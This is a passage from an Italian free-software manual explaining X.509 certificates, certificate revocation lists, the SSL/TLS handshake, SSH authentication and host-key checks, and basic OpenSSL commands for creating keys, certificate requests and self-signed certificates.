169 Autorità di certificazione e certificati 2153 riguarda la gestione di un servizio, contiene il nome di dominio completo dell elaboratore dal quale questo viene offerto. Le informazioni di un certificato X.509 tipico sono organizzate in due parti: la sezione dati e la sezione della firma elettronica. La sezione dati contiene in particolare: la versione dello standard X.509 a cui fa riferimento il certificato; il numero di serie assegnato dall autorità di certificazione; il nome distintivo (DN) dell autorità di certificazione; il periodo di validità del certificato; il nome distintivo (DN) del titolare della certificato (subject); la chiave pubblica del titolare del certificato; altre informazioni che rappresentano un estensione dello standard. La sezione della firma elettronica contiene in pratica la firma fatta dall autorità di certificazione, ed è in questa parte che potrebbero apparire le informazioni necessarie ad acquisire il certificato dell autorità stessa. A titolo di esempio si può vedere come può apparire un certificato del genere, quando questo viene tradotto in forma leggibile (la chiave pubblica e la firma sono abbreviate): Certificate: Data: Version: 1 (0x0) Serial Number: 0 (0x0) Signature Algorithm: md5withrsaencryption Issuer: C=IT, ST=Italia, L=Milano, O=SuperCA, CN=super.ca.dg... Validity Not Before: Dec 11 19:39: GMT Not After : Jan 10 19:39: GMT Subject: C=IT, ST=Italia, L=Tiziopoli, O=Dinkel, CN=dinkel.brot.dg... Subject Public Key Info: Public Key Algorithm: rsaencryption RSA Public Key: (1024 bit) Modulus (1024 bit): 00:f2:c2:7a:4b:11:c0:64:b8:63:9d:fd:7f:b1:b7: 1f:55:c1:b7:1a:9b:dc:5f:bc:d8:a8:ad:cb:90:17:... a2:7c:f9:be:92:be:1f:7e:9e:27:0e:87:d0:74:22: fd:cd:7e:47:4a:b3:12:56:fd Exponent: (0x10001) Signature Algorithm: md5withrsaencryption 71:88:37:bb:f0:5e:6e:82:fa:90:87:4f:bb:b6:06:a3:da:6a: 86:b7:78:8d:a6:49:c2:e1:24:2d:37:ae:70:92:b7:68:49:14:... 39:22:3b:41:46:d9:36:3a:85:d0:b2:d3:0d:d0:82:54:00:8e: 38:b7:fa:52:09:d3:14:ea:18:c2:d5:5b:88:ef:05:18:1e:bd: c1:4e È interessante osservare le righe che descrivono l autorità garante che emette il certificato (Issuer) e il titolare (Subject). Ognuna di queste due righe rappresenta rispettivamente il nome distintivo dell autorità e del titolare; si può vedere in che modo sono indicati i vari elementi di questa informazione (i puntini di sospensione finali sono stati aggiunti perché la riga sarebbe più lunga, con altre informazioni): C=IT, ST=Italia, L=Tiziopoli, O=Dinkel-Brot, CN=dinkel.brot.dg...

170 2154 Autorità di certificazione e certificati La forma è quella dell assegnamento di variabili, alcune delle quali sono state elencate nella tabella La scelta delle variabili da indicare (da assegnare) dipende dall autorità e dal contesto per il quale viene rilasciato il certificato. Il certificato è realizzato normalmente in formato PEM (utilizza solo l ASCII a sette bit) e il file che lo rappresenta in pratica potrebbe apparire in un modo simile a quello seguente, che qui viene mostrato in forma abbreviata: -----BEGIN CERTIFICATE----- MIICeTCCAeICAQAwDQYJKoZIhvcNAQEEBQAwgYQxCzAJBgNVBAYTAklUMQ8wDQYD VQQIEwZJdGFsaWExEDAOBgNVBAcTB1RyZXZpc28xFDASBgNVBAoTC0RpbmtlbC1C... t3inpknc4sqtn65wkrdosrqb88rpfyckpiscbutfu4lz+8xv7asojchorqqr65pz AeP4kVAFLnG+HTGlqHtReWszL6y75c45IjtBRtk2OoXQstMN0IJUAI44t/pSCdMU 6hjC1VuI7wUYHr3BTg== -----END CERTIFICATE Richiesta di certificato X.509 Per ottenere un certificato da un autorità, utilizzando lo standard X.509, si parte dalla creazione di una richiesta di certificato, che in pratica è un certificato avente già tutte le informazioni, tranne la firma del garante, firmato direttamente dal richiedente. L esempio seguente potrebbe essere la richiesta di certificato corrispondente all esempio già visto in precedenza; anche in questo caso si abbreviano la chiave pubblica e la firma: Certificate Request: Data: Version: 0 (0x0) Subject: C=IT, ST=Italia, L=Tiziopoli, O=Dinkel, CN=dinkel.brot.dg... Subject Public Key Info: Public Key Algorithm: rsaencryption RSA Public Key: (1024 bit) Modulus (1024 bit): 00:f2:c2:7a:4b:11:c0:64:b8:63:9d:fd:7f:b1:b7: 1f:55:c1:b7:1a:9b:dc:5f:bc:d8:a8:ad:cb:90:17:... a2:7c:f9:be:92:be:1f:7e:9e:27:0e:87:d0:74:22: fd:cd:7e:47:4a:b3:12:56:fd Exponent: (0x10001) Attributes: challengepassword :ciao-ciao unstructuredname :Dinkel Signature Algorithm: md5withrsaencryption 09:eb:da:65:21:d1:67:65:ec:c3:f7:07:7b:82:fb:3f:d3:9f: ed:89:bc:be:38:bd:97:1c:15:f0:2b:2f:ef:6b:1e:00:57:47:... e7:70:9c:93:30:f1:aa:93:42:37:dc:32:e0:85:50:d9:ed:0e: f7:8e Anche la richiesta di certificato è realizzato normalmente in formato PEM; il file che lo rappresenta in pratica potrebbe apparire in un modo simile a quello seguente, che qui viene mostrato in forma abbreviata: -----BEGIN CERTIFICATE REQUEST----- MIIB/TCCAWYCAQAwgYIxCzAJBgNVBAYTAklUMQ8wDQYDVQQIEwZJdGFsaWExEDAO BgNVBAcTB1ZlbmV6aWExFDASBgNVBAoTC01BUkFNQU8tTUFIMRkwFwYDVQQDFBBj... YwJNRXTBdL7J/K+LVYFnnxbu6Z4vyDvqcCxD0hWE3VSkXQ2RHHW3sN1oMbtVfjS7 NMe5qq5noKkraMhq3edwnJMw8aqTQjfcMuCFUNntDveO -----END CERTIFICATE REQUEST-----

171 Autorità di certificazione e certificati Revoca dei certificati L autorità di certificazione che ha la necessità di pubblicare i certificati che vengono revocati prima della loro scadenza naturale, lo fa attraverso la pubblicazione di un elenco dei certificati revocati, ovvero di ciò che è conosciuto con la sigla CRL (Certificate revocation list). Questo elenco è firmato dall autorità di certificazione che lo pubblica, pertanto si tratta di un tipo di certificato speciale. Nello standard X.509, questo elenco potrebbe apparire come si vede nell esempio seguente, in cui si vedono due certificati revocati: Certificate Revocation List (CRL): Version 1 (0x0) Signature Algorithm: md5withrsaencryption Issuer: /C=IT/ST=Italia/L=Milano/O=SuperCA/CN=super.ca.dg Last Update: Jan 15 20:35: GMT Next Update: Feb 14 20:35: GMT Revoked Certificates: Serial Number: 01 Revocation Date: Jan 13 19:28: GMT Serial Number: 02 Revocation Date: Jan 13 19:28: GMT Signature Algorithm: md5withrsaencryption 32:e1:97:92:96:2f:0c:e4:df:bb:9c:82:a5:e3:5b:51:69:f5: 51:ad:1b:b2:98:eb:35:a6:c8:7f:d9:29:1f:b2:1e:cc:da:84:... 31:27:4a:21:4c:7a:bc:85:73:cd:ff:15:9d:cb:81:b3:0b:82: 73:50 Osservando l elenco si vede che il riferimento ai certificati è fatto solo attraverso il numero di serie, stando a indicare che i certificati firmati dall autorità, con questi numeri di serie, sono revocati a partire dalle date indicate Riferimenti Introduction to Public-Key Cryptography < Kille S., RFC 1779, A String Representation of Distinguished Names, 1995 < < Appunti di informatica libera Copyright Daniele Giacomini -- swlibero.org

172 Connessioni cifrate e certificate Capitolo 198 Nel momento in cui si trasmettono dati cifrati e certificati, si ha una comunicazione di dati che hanno queste caratteristiche. Tuttavia ciò non basta per risolvere i problemi reali delle comunicazioni, quando si richiede che tutta la connessione sia cifrata e certificata. Una connessione cifrata non serve solo per nascondere i dati che si trasmettono, ma anche per garantire l identità di una delle due parti, o di entrambe Fasi astratte dell instaurarsi di una connessione cifrata e certificata Ogni protocollo pensato specificatamente per le connessioni cifrate, ha le sue particolarità, dettate dalle esigenze iniziali per le quali è stato realizzato. In linea di massima si possono individuare le fasi seguenti: il cliente negozia con il servente le caratteristiche del protocollo cifrato da adottare; il servente invia al cliente la propria chiave pubblica all interno di un certificato, che il cliente può verificare se ne è in grado e se lo ritiene necessario; il servente può pretendere dal cliente un certificato che possa verificare, oppure può pretendere di essere già in possesso della chiave pubblica del cliente (naturalmente già verificata); una volta che il cliente dispone della chiave pubblica del servente, può iniziare una prima fase di comunicazione cifrata, in cui solitamente ci si scambia una chiave simmetrica generata in modo casuale, per rendere più sicura la comunicazione. La verifica dei certificati serve a garantire l identità dei nodi e delle utenze coinvolte, ovvero, un servente garantirà l identità del servizio, mentre un cliente garantirà l identità dell utente che lo richiede. La situazione tipica in cui si richiede una connessione cifrata è quella in cui una persona «qualunque» voglia fare un acquisto presso un negozio telematico, utilizzando il proprio navigatore. Dovendo fornire i propri dati personali, compresi quelli della carta di credito, questa persona vuole essere sicura di trasmettere le informazioni alla controparte giusta. Per questo, il suo navigatore che instaura la comunicazione cifrata, dovrà garantire al suo utilizzatore l identità della controparte attraverso la verifica della chiave pubblica del servizio, che deve essere già in suo possesso, all interno di un certificato ritenuto valido. Quando l accesso a un servizio che presuppone una connessione cifrata è soggetto a una forma di registrazione, l autenticazione dell accesso da parte del cliente può avvenire attraverso l uso di un certificato depositato in precedenza. In pratica, in questo modo il servente può chiedere al cliente di iniziare subito una connessione cifrata che da parte sua decifrerà usando la chiave pubblica del cliente stesso, a garanzia della sua identità, senza bisogno di richiedere l inserimento della solita parola d ordine. In tutti i casi, questo tipo di connessioni non dovrebbe tornare mai a trasmettere dati in chiaro. Infatti, anche se lo scopo della procedura fosse solo quello di garantire l identità delle parti, resta comunque necessario mantenere la connessione cifrata per garantire anche che una delle parti non venga sostituita durante la comunicazione. 2156

173 Connessioni cifrate e certificate SSL/TLS SSL (Secure socket layer) e TLS (Transport layer security) sono due protocolli per la certificazione e la comunicazione cifrata. SSL è stato sviluppato originalmente da Netscape; TLS è l evoluzione del primo, come standard pubblicato da IETF. Figura Collocazione dei protocolli SSL/TLS nel modello ISO-OSI Applicazione Presentazione Sessione HTTP SSL/TLS Trasporto TCP/IP Rete Collegamento dati Fisico Nel modello ISO-OSI, il protocollo SSL/TLS si inserisce tra il livello di trasporto (quarto) e il livello di sessione (quinto). Le sue funzionalità sono essenzialmente: autenticazione del servente da parte del cliente, con il quale l utente di un servizio è in grado di essere certo dell identità del suo fornitore; autenticazione del cliente nei confronti del servente, con il quale il fornitore di un servizio si accerta dell identità del proprio cliente, senza dover usare le forme tradizionali (nominativo e parola d ordine); crittografica della comunicazione, per garantire la segretezza delle transazioni Negoziazione Attraverso la descrizione del meccanismo di negoziazione che c è tra cliente e servente di una connessione SSL/TLS, si intendono meglio il significato e il funzionamento di questo sistema. In generale, la negoziazione consente al servente di farsi riconoscere nei confronti del cliente, attraverso la tecnica della chiave pubblica, con la quale le due parti possono poi creare una chiave simmetrica da usare per cifrare la comunicazione; inoltre, è possibile anche richiedere al cliente di identificarsi nello stesso modo in cui fa il servente. 1. Il cliente si presenta presso il servente fornendo alcune informazioni sulla versione del protocollo che è in grado di gestire. 2. Il servente risponde comunicando le scelte fatte in base alla disponibilità del cliente, inviando il proprio certificato; inoltre, se la risorsa richiesta prevede l identificazione del cliente, richiede anche il suo certificato. 3. Il cliente analizza il certificato e determina se può riconoscere o meno il servente; se l autorità di certificazione che lo ha firmato è sconosciuta, si chiede all utente di intervenire per decidere il da farsi.

174 2158 Connessioni cifrate e certificate 4. Attraverso i dati ottenuti fino a questo punto, il cliente prepara un primo esemplare dell informazione che servirà per definire la chiave di sessione, lo cifra attraverso la chiave pubblica del servente e lo invia. 5. Se il servente aveva richiesto l autenticazione da parte del cliente, verifica l identità di questo; se il cliente non viene riconosciuto, la sessione termina. 6. Il servente e il cliente determinano la chiave di sessione (simmetrica), in base ai dati che si sono scambiati fino a quel momento, iniziando la comunicazione cifrata con quella chiave. Leggendo la sequenza di queste operazioni, si intende che la connessione cifrata può avvenire solo perché il servente offre un certificato, contenente la chiave pubblica dello stesso, attraverso la quale il cliente può cifrare inizialmente le informazioni necessarie a entrambi per generare una chiave di sessione. Di conseguenza, con questo modello, non può instaurarsi una comunicazione cifrata se il servente non dispone di un certificato e di conseguenza non dispone della chiave privata relativa. Dal momento che la disponibilità di un certificato è indispensabile, se si vuole attivare un servizio che utilizza il protocollo SSL/TLS per cifrare la comunicazione, se non è possibile procurarselo attraverso un autorità di certificazione, è necessario produrne uno fittizio in proprio Autenticazione del servente Vale la pena di elencare brevemente i passi che compie il cliente per verificare l identità del servente: 1. viene verificato che il certificato non sia scaduto, facendo in modo che se la data attuale risulta al di fuori del periodo di validità, l autenticazione fallisca; 1 2. viene verificata la disponibilità del certificato dell autorità che ha firmato quello del servente; se è presente si può controllare la firma e di conseguenza la validità del certificato offerto dal servente; 3. se il cliente non dispone del certificato dell autorità di certificazione e non è in grado di procurarselo e nemmeno di verificarlo attraverso una catena di certificazioni, l autenticazione del servente fallisce; 4. infine, viene verificato che il nome di dominio del servente corrisponda effettivamente con quanto riportato nel certificato Introduzione al protocollo SECSH Il protocollo SECSH è nato a seguito dello sviluppo di Secure Shell, un sistema per l accesso remoto «sicuro», che si sostituisce a quello tradizionale dei programmi come Rlogin e Telnet. Secure Shell, ovvero SSH, è oggi un software proprietario, ma esistono diverse realizzazioni, più o meno libere, con funzionalità analoghe, o equivalenti, che usano lo stesso protocollo. 3 1 Si comprende l importanza di avere un orologio del sistema funzionante e configurato in modo corretto. 2 Ciò spiega il motivo per cui, in questi casi, nel campo CN del nome distintivo di un certificato X.509 viene indicato il nome di dominio del servente. 3 La difficoltà maggiore nella realizzazione di software libero di questo tipo sta nei problemi legali dovuti all uso di questo o quell algoritmo crittografico, che potrebbe essere brevettato, oppure potrebbe non essere ammesso dalle leggi del proprio paese.

175 Connessioni cifrate e certificate 2159 Attraverso il protocollo SECSH si possono gestire diversi livelli di sicurezza, in cui il minimo in assoluto è rappresentato dalla cifratura della comunicazione, estendendosi a vari metodi di riconoscimento reciproco da parte dei nodi che si mettono in comunicazione. In generale, il protocollo in questione è conosciuto come quello di Secure Shell, o semplicemente SSH; tuttavia, questi nomi sono un marchio di fabbrica e un marchio registrato rispettivamente. Per questo si preferisce qui l uso della denominazione SECSH. Il software che utilizza il protocollo SECSH può instaurare un collegamento tra due elaboratori utilizzando diverse modalità, come accennato, in cui l unica costante comune è la cifratura della comunicazione. Semplificando molto le cose, da una parte si trova il servente che offre l accesso e mette a disposizione una chiave pubblica, attraverso la quale i clienti dovrebbero poter verificare l autenticità del servente a cui si connettono. Appena si verifica la connessione, prima ancora che sia stata stabilita l identità dell utente, cliente e servente concordano un sistema di cifratura Autenticazione RHOST Alcune realizzazioni del software che utilizza il protocollo SECSH consentono ancora, se lo si desidera, di utilizzare il vecchio meccanismo dell autenticazione attraverso i file /etc/ hosts.equiv e ~/.rhosts, che in pratica sono quelli utilizzati da Rlogin e Rsh. Attraverso questi file, o un altra coppia analoga per non interferire con Rlogin e Rsh, si può stabilire semplicemente quali clienti e quali utenti possono accedere senza che venga richiesta loro la parola d ordine. Si tratta ovviamente di un sistema di riconoscimento molto poco sicuro, che rimane solo per motivi storici, ma in generale viene lasciato disabilitato Autenticazione RHOST+RSA Per attenuare lo stato di debolezza causato da un sistema che accetta di autenticare i clienti e gli utenti esclusivamente in base alla configurazione di /etc/hosts.equiv e ~/.rhosts (o simili), si può aggiungere la verifica della chiave pubblica del cliente. In pratica, se il cliente dispone di una sua chiave pubblica può dimostrare al servente la sua identità Autenticazione RSA A fianco dei metodi di autenticazione derivati da Rlogin si aggiunge il metodo RSA, attraverso cui, ogni utente che intende utilizzarlo deve creare una propria chiave RSA, indicando nel proprio profilo personale presso il servente la parte pubblica di questa chiave. Quando l utente tenta di accedere in questo modo, le chiavi vengono confrontate e la corrispondenza è sufficiente a concedere l accesso senza altre formalità. Quando si utilizza questo tipo di autenticazione, la parte privata della chiave generata dall utente, viene cifrata generalmente attraverso una parola d ordine. In questo modo, prima di ottenere l autenticazione, l utente deve anche fornire questa parola d ordine.

176 2160 Connessioni cifrate e certificate Autenticazione attraverso la parola d ordine tradizionale Quando tutti gli altri tipi di autenticazione falliscono, il software che utilizza il protocollo SECSH verifica l identità dell utente attraverso la parola d ordine relativa all accesso normale presso quel sistema. In pratica, questa forma di autenticazione è quella più comune, dal momento che consente l accesso senza bisogno di alcuna configurazione (a parte la generazione della chiave del nodo). Infatti, il protocollo SECSH garantisce che la parola d ordine viaggi cifrata, essendo questo già un grande risultato per la sicurezza dei sistemi coinvolti Chiave privata e chiave pubblica Il software che si avvale del protocollo SECSH, deve essere provvisto generalmente di un programma per la preparazione di coppie di chiavi pubbliche e private. Queste servono necessariamente per attivare il servizio, dal momento che un servente del genere non può fare nulla senza queste; inoltre possono servire dal lato cliente per facilitare l autenticazione. La chiave pubblica e quella privata vengono conservate in due file separati, con permessi di accesso molto restrittivi nel caso del file della chiave privata. Tuttavia, si tende a considerare che entrambi questi file debbano trovarsi nella stessa directory; inoltre, si intende generalmente che il nome del file della chiave pubblica si distingua solo perché ha in più l estensione.pub. In questo modo, per fare riferimento alle chiavi, si indica generalmente solo il nome del file della chiave privata, intendendo implicitamente quale sia il nome del file della chiave pubblica. Tradizionalmente, questi file hanno nomi molto simili da una realizzazione all altra che utilizza il protocollo SECSH. Nel caso delle chiavi del servente, si tratta di qualcosa del tipo /etc/ * / * _host_key e /etc/ * / *_host_key.pub, mentre nel caso di chiavi personali dell utente, si tratta di nomi del tipo ~/ * /identity e ~/ */identity.pub. Gli utenti che predispongono una propria coppia di chiavi, lo fanno generalmente per poter utilizzare un autenticazione di tipo RSA. In generale, la chiave privata del servente non può essere protetta attraverso una parola d ordine, dal momento che il servizio deve essere gestito in modo automatico; al contrario, è opportuno che la chiave privata di un utente sia protetta, dal momento che non può impedire all amministratore del sistema di accedervi Verifica dell identità dei serventi Un elemento importante per la garanzia della sicurezza nelle comunicazioni è la verifica dell identità del servente. Per farlo, è necessario che il cliente possegga una copia della chiave pubblica del servente a cui si vuole accedere. In generale, la fiducia dovrebbe essere un fatto personale, per cui tali informazioni dovrebbero essere gestite singolarmente da ogni utente che intenda sfruttare tale protocollo. Tuttavia, alcune realizzazioni tradizionali di software che sfruttano questo protocollo, consentono di definire un elenco generale di chiavi pubbliche convalidate. Di solito si tratta di file del tipo /etc/ * / *_known_hosts, che oltre alle chiavi contengono le informazioni sui serventi a cui si riferiscono (a meno che queste indicazioni siano già inserite in un certificato completo). Nello stesso modo possono agire gli utenti in file del tipo ~/ /known_hosts * e ciò è preferibile in generale. 4 Se si vuole mantenere la possibilità di utilizzare un sistema di autenticazione RHOST+RSA, in cui l utente non debba intervenire in alcun modo, è necessario che la sua chiave privata non sia protetta da parola d ordine. Ma è già stato spiegato che si tratta di un modo molto poco sicuro di gestire tale tipo di comunicazione.

177 Connessioni cifrate e certificate 2161 Di solito, per lo scopo che ha il protocollo SECSH, non ci si crea il problema di ottenere la chiave pubblica del servente per vie sicure, accontentandosi di accettarla la prima volta che si ha un contatto. Ciò che si ottiene in questo modo è di verificare che il servente non venga sostituito con un altro durante gli accessi successivi. A questo proposito, il software che utilizza il protocollo SECSH può arrangiarsi a fare tutto da solo, dopo aver richiesto una conferma, oppure può pretendere che gli venga chiesto espressamente di accettare la chiave pubblica della controparte anche se questa non può essere verificata. Quello che segue è un esempio di ciò che potrebbe essere segnalato in tali circostanze. Host key not found from the list of known hosts. Are you sure you want to continue connecting (yes/no)? yes[ Invio ] Host linux.brot.dg added to the list of known hosts. Ovviamente, nel momento in cui si scopre che la chiave pubblica di cui si dispone non consente più di autenticare un servente, il programma che si utilizza deve dare una segnalazione adeguata. Anche in questo caso ci possono essere modi diversi di reagire: impedire l accesso, oppure chiedere all utente il WARNING: HOST IDENTIFICATION IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! Someone could be eavesdropping on you right now (man-in-the-middle attack)! It is also possible that the host key has just been changed. Please contact your system administrator Riferimenti Introduction to SSL < Appunti di informatica libera Copyright Daniele Giacomini -- swlibero.org

178 Introduzione a OpenSSL Capitolo 199 OpenSSL 1 è una realizzazione in forma di software libero dei protocolli SSL/TLS (Secure socket layer e Transport layer security) per la certificazione e la comunicazione cifrata. Inizialmente, il progetto si chiamava SSLeay, ma da quando l autore originale lo ha dovuto interrompere, questo è stato ripreso da un gruppo indipendente che lo ha ribattezzato in OpenSSL. OpenSSL si compone di alcune librerie che permettono di incorporare le funzionalità dei protocolli SSL/TLS all interno di programmi di comunicazione, oltre a una serie di programmi di servizio per la gestione delle chiavi e dei certificati, arrivando eventualmente anche alla gestione di un autorità di certificazione. Questi programmi, in particolare, potrebbero essere compilati in modo da distinguersi in più file eseguibili, oppure in modo da generare un solo eseguibile monolitico: openssl. In questi capitoli, in cui si fa riferimento a OpenSSL, si presume che si tratti di un eseguibile unico Collocazione e impostazione Non esiste una definizione ben precisa di dove devono essere collocati i file che compongono la configurazione e gli strumenti di OpenSSL. Quando si installa OpenSSL da un pacchetto fatto per la propria distribuzione GNU/Linux, è importante scoprire dove vengono collocati i file delle chiavi e dei certificati, così come la collocazione del file di configurazione openssl.cnf. Intuitivamente si potranno cercare questi file a partire dalla directory /etc/ ; in particolare, le chiavi potrebbero essere collocate a partire da /etc/ssl/ o da /etc/openssl/. Quando gli strumenti di OpenSSL sono organizzati in un solo eseguibile monolitico, la sintassi per i comandi relativi si esprime sinteticamente nel modo seguente: openssl comando [opzioni] Tabella Alcuni comandi di OpenSSL. Comando openssl req openssl ca openssl crl openssl genrsa openssl rsa openssl x509 Descrizione Gestione delle richieste di certificazione. Gestione relativa all autorità di certificazione. Gestione del certificato delle revoche. Generazione di parametri RSA. Conversione del formato di una chiave privata o di un certificato. Gestione dei dati dei certificati X.509. La tabella elenca brevemente alcuni dei comandi più importanti. Per avere una guida rapida alle opzioni di ogni comando, basta utilizzare un opzione non valida, per esempio -h : $ openssl ca -h L esempio mostra in che modo ottenere l elenco delle opzioni del comando openssl ca ; comunque, in mancanza di altra documentazione, conviene stampare e tenere a portata di mano queste guide: $ openssl req -h > guida.txt $ openssl crl -h >> guida.txt 1 OpenSSL licenza speciale + SSLeay 2162

179 Introduzione a OpenSSL 2163 $ openssl ca -h >> guida.txt $ openssl genrsa -h >> guida.txt $ openssl x509 -h >> guida.txt Alcuni di questi comandi hanno in comune delle opzioni, che vale la pena di descrivere subito, prima di mostrare degli esempi, nei quali si potrà concentrare l attenzione sulle altre opzioni specifiche. La tabella mostra questo elenco di opzioni tipiche. Tabella Alcune opzioni frequenti nei comandi di OpenSSL. Opzione -in file -out file -noout -text -hash -inform formato -outform formato Descrizione Definisce un file in ingresso adatto al contesto. Definisce un file in uscita adatto al contesto. Non emette il risultato. Emette le informazioni in forma di testo leggibile. Emette il codice di controllo relativo al contesto. Specifica il formato dei dati in ingresso. Specifica il formato dei dati in uscita. Prima di descrivere la configurazione di OpenSSL, viene mostrato tecnicamente il modo per richiedere un certificato, o per realizzarne un proprio senza valore. Infatti, in generale, la configurazione standard dovrebbe essere più che sufficiente per il raggiungimento di questo obiettivo. È il caso di ricordare che un certificato è un file contenente la chiave pubblica del suo titolare, firmata da un autorità di certificazione che garantisce la sua validità e anche la correttezza degli altri dati Procedimento per ottenere un certificato Per mettere in piedi un servizio che utilizzi i protocolli SSL/TLS, occorre predisporre dei file contenenti chiavi e certificati. Di solito, quando si installano servizi che utilizzano questi protocolli, la procedura di installazione si prende cura di predisporre automaticamente i file necessari per consentire il funzionamento, senza che le certificazioni che si ottengono abbiano alcun valore. In generale si comincia dalla creazione o dalla definizione di un file contenente dati casuali, come punto di partenza per generare una chiave privata, quindi si passa alla creazione di una richiesta di certificazione, oppure alla creazione di un certificato auto-firmato, senza valore File contenente dati casuali Un file casuale può essere creato in vari modi, per esempio mettendo assieme alcuni file, $ cat file_a file_b file_c > file_casuale magari rielaborandoli in qualche modo, oppure prelevando un po di caratteri dal file /dev/ random : $ dd if=/dev/random of=file_casuale bs=1b count=1k

180 2164 Introduzione a OpenSSL Chiave privata Per generare una chiave privata in chiaro, si utilizza il comando openssl genrsa, in un modo simile a quello seguente, dove in particolare viene utilizzato il file file_casuale come origine di dati casuali, ottenendo il file chiave_privata.pem di 1024 bit: $ openssl genrsa -rand file_casuale -out chiave_privata.pem 1024 Eventualmente, per creare una chiave privata cifrata, basta aggiungere un opzione a scelta tra -des, -des3 e -idea, che stanno a indicare rispettivamente gli algoritmi DES, DES-triplo e IDEA. Viene mostrato il caso in cui si utilizza l opzione -des3 : $ openssl genrsa -des3 -rand file_casuale -out chiave_privata_protetta.pem 1024[ Invio ] Enter PEM passphrase: ********[ Invio ] Verifying password - Enter PEM pass phrase: ********[ Invio ] Volendo riportare la chiave privata in chiaro, si usa il comando openssl rsa, in modo simile all esempio seguente: $ openssl rsa -in chiave_privata_protetta.pem -out chiave_privata.pem[ Invio ] Enter PEM passphrase: ********[ Invio ] In modo analogo funziona l operazione di protezione di una chiave; in pratica si aggiunge l opzione attraverso cui si specifica il tipo di algoritmo: $ openssl rsa -des3 -in chiave_privata.pem -out chiave_privata_protetta.pem Richiesta di certificazione Teoricamente, il certificato che identifica e garantisce l identità del servizio che si gestisce, deve essere fornito da un autorità di certificazione. In questo caso, per farlo, deve ricevere un documento intermedio, definibile come una richiesta di certificazione. La chiave pubblica che vi viene inserita si ottiene a partire dalla chiave privata, mentre gli altri dati necessari per il certificato che si vuole ottenere si inseriscono in modo interattivo. È interessante vedere come avviene: $ openssl req -new -key chiave_privata.pem -out richiesta.pem[ Invio ] You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter., the field will be left blank. Country Name (2 letter code) [AU]:IT[ Invio ] State or Province Name (full name) [Some-State]:Italia[ Invio ] Locality Name (eg, city) []:Tiziopoli[ Invio ] Organization Name (eg, company) [Internet Widgits Pty Ltd]:Dinkel[ Invio ]

181 Introduzione a OpenSSL 2165 Organizational Unit Name (eg, section) []:.[ Invio ] Common Name (eg, YOUR name) []:dinkel.brot.dg[ Invio ] address []:[email protected][ Invio ] Please enter the following extra attributes to be sent with your certificate request A challenge password []:super segretissimo[ Invio ] An optional company name []:Dinkel[ Invio ] Le informazioni che si inviano in questo modo sono molto importanti e il significato preciso varia a seconda del contesto per il quale si richiede la certificazione. Sarà l autorità per la certificazione a stabilire quali informazioni servono precisamente. Per verificare il contenuto del certificato, che nel suo formato PEM non è leggibile direttamente, si può usare il comando openssl req con l opzione -text : $ openssl req -text -in richiesta.pem[ Invio ] Certificate Request: Data: Version: 0 (0x0) Subject: C=IT, ST=Italia, L=Tiziopoli, O=Dinkel, CN=dinkel.brot.dg... Subject Public Key Info: Public Key Algorithm: rsaencryption RSA Public Key: (1024 bit) Modulus (1024 bit): 00:ce:0d:cd:08:86:fd:b5:cb:14:56:51:04:73:38: 15:77:39:2d:3b:10:17:06:7c:64:0d:69:14:67:cd:... 67:f7:ef:b1:71:af:24:77:64:66:64:0f:85:a6:64: 16:c2:69:26:59:0a:d9:4b:8d Exponent: (0x10001) Attributes: unstructuredname :Dinkel challengepassword :super segretissimo Signature Algorithm: md5withrsaencryption 8f:25:9f:68:3a:67:4c:6d:e6:eb:52:4a:ca:73:74:47:85:14: ca:d6:6c:6d:24:3b:6c:37:59:ec:f8:fb:0b:a9:74:d6:1c:0f:... 02:60:16:fd:2e:9b:09:af:11:03:82:74:16:ae:57:a7:90:f5: e1:a Certificato fittizio Per generare in proprio il certificato auto-firmato, in modo da attivare ugualmente il servizio anche se non si può dimostrare di essere chi si afferma di essere, si può aggiungere l opzione -x509. Anche in questo caso vengono richieste tutte le informazioni già viste. $ openssl req -new -x509 -key chiave_privata.pem -out richiesta.pem[ Invio ] In alcuni casi può essere necessario unire la chiave privata, in chiaro, assieme al certificato; questo accade in particolare quando si allestisce un servente HTTP Apache-SSL. Di solito la chiave privata non può essere cifrata, perché deve essere letta da un servizio autonomo che non può interrogare un utente. Si deve ottenere una cosa simile a quella seguente:

182 2166 Introduzione a OpenSSL -----BEGIN RSA PRIVATE KEY----- MIICXQIBAAKBgQDzUS4vA9NPNGAhHp71jGLk9lyJ6GfFK2R+AtMmWDKWvwhVOA8l ey13ouz6xw0ts7s91fylstbp0ed5tlkhzfu8guuza3jzpqfe/wrw/ej7/ryw0coz... +7JyXBGaA4Srn/iw9cUCQQDEr5yuQa426I6psxfvUiK+HKS2kfRBbKKHj2NYh6nv GgMhY9NiG+SGEDfkOw9rIVifb9yXs6f4CajQTb4qVl2X -----END RSA PRIVATE KEY BEGIN CERTIFICATE----- MIICMTCCAZoCAQAwDQYJKoZIhvcNAQEEBQAwYTELMAkGA1UEBhMCcXExCzAJBgNV BAgTAnd3MQswCQYDVQQHEwJlZTELMAkGA1UEChMCcnIxCzAJBgNVBAsTAnR0MQsw... 3kNqIB5Iun0kdDqdJYQj9G5Ca+dlRCxrPY6bVCnlD3A8+RULjyGrT6D45QtoXKx+ quihini++xbhqe+rywbd70xtwvw0+zoyrhnhg96k9ellpighrq== -----END CERTIFICATE----- L aggregazione può essere fatta a mano (attraverso cat ), oppure si può utilizzare un comando unico che crea la chiave privata (di dimensione predefinita) e anche il certificato autoprodotto: $ openssl req -new -x509 -nodes -out certificato.pem -keyout certificato.pem In questo esempio è stata usata l opzione -keyout per dirigere la chiave privata nello stesso file del certificato; inoltre, è stata usata l opzione -nodes per evitare la protezione della chiave che in questi casi deve essere usata in chiaro. Come verrà mostrato anche in seguito, il file del certificato, con o senza la chiave privata acclusa, deve essere raggiungibile attraverso un nome corrispondente al suo codice di controllo, con l aggiunta dell estensione.0. Questo valore si ottiene con un comando simile a quello che si vede: $ openssl x509 -hash -noout -in certificato.pem Per generare un collegamento simbolico come si fa di solito, si potrebbe usare il comando seguente: $ ln -s certificato.pem openssl x509 -hash -noout -in certificato.pem Cenni sulla configurazione di OpenSSL La configurazione di OpenSSL si attua normalmente attraverso il file openssl.cnf, che potrebbe trovarsi collocato nella directory /etc/ssl/. Osservandone il contenuto, si intuisce che il simbolo # serve a introdurre un commento, fino alla fine della riga relativa; inoltre si comprende che le righe vuote e quelle bianche vengono ignorate come i commenti; infine, si vede che le direttive del file sono degli assegnamenti a variabili, che se necessario si espandono con il prefisso $, e le 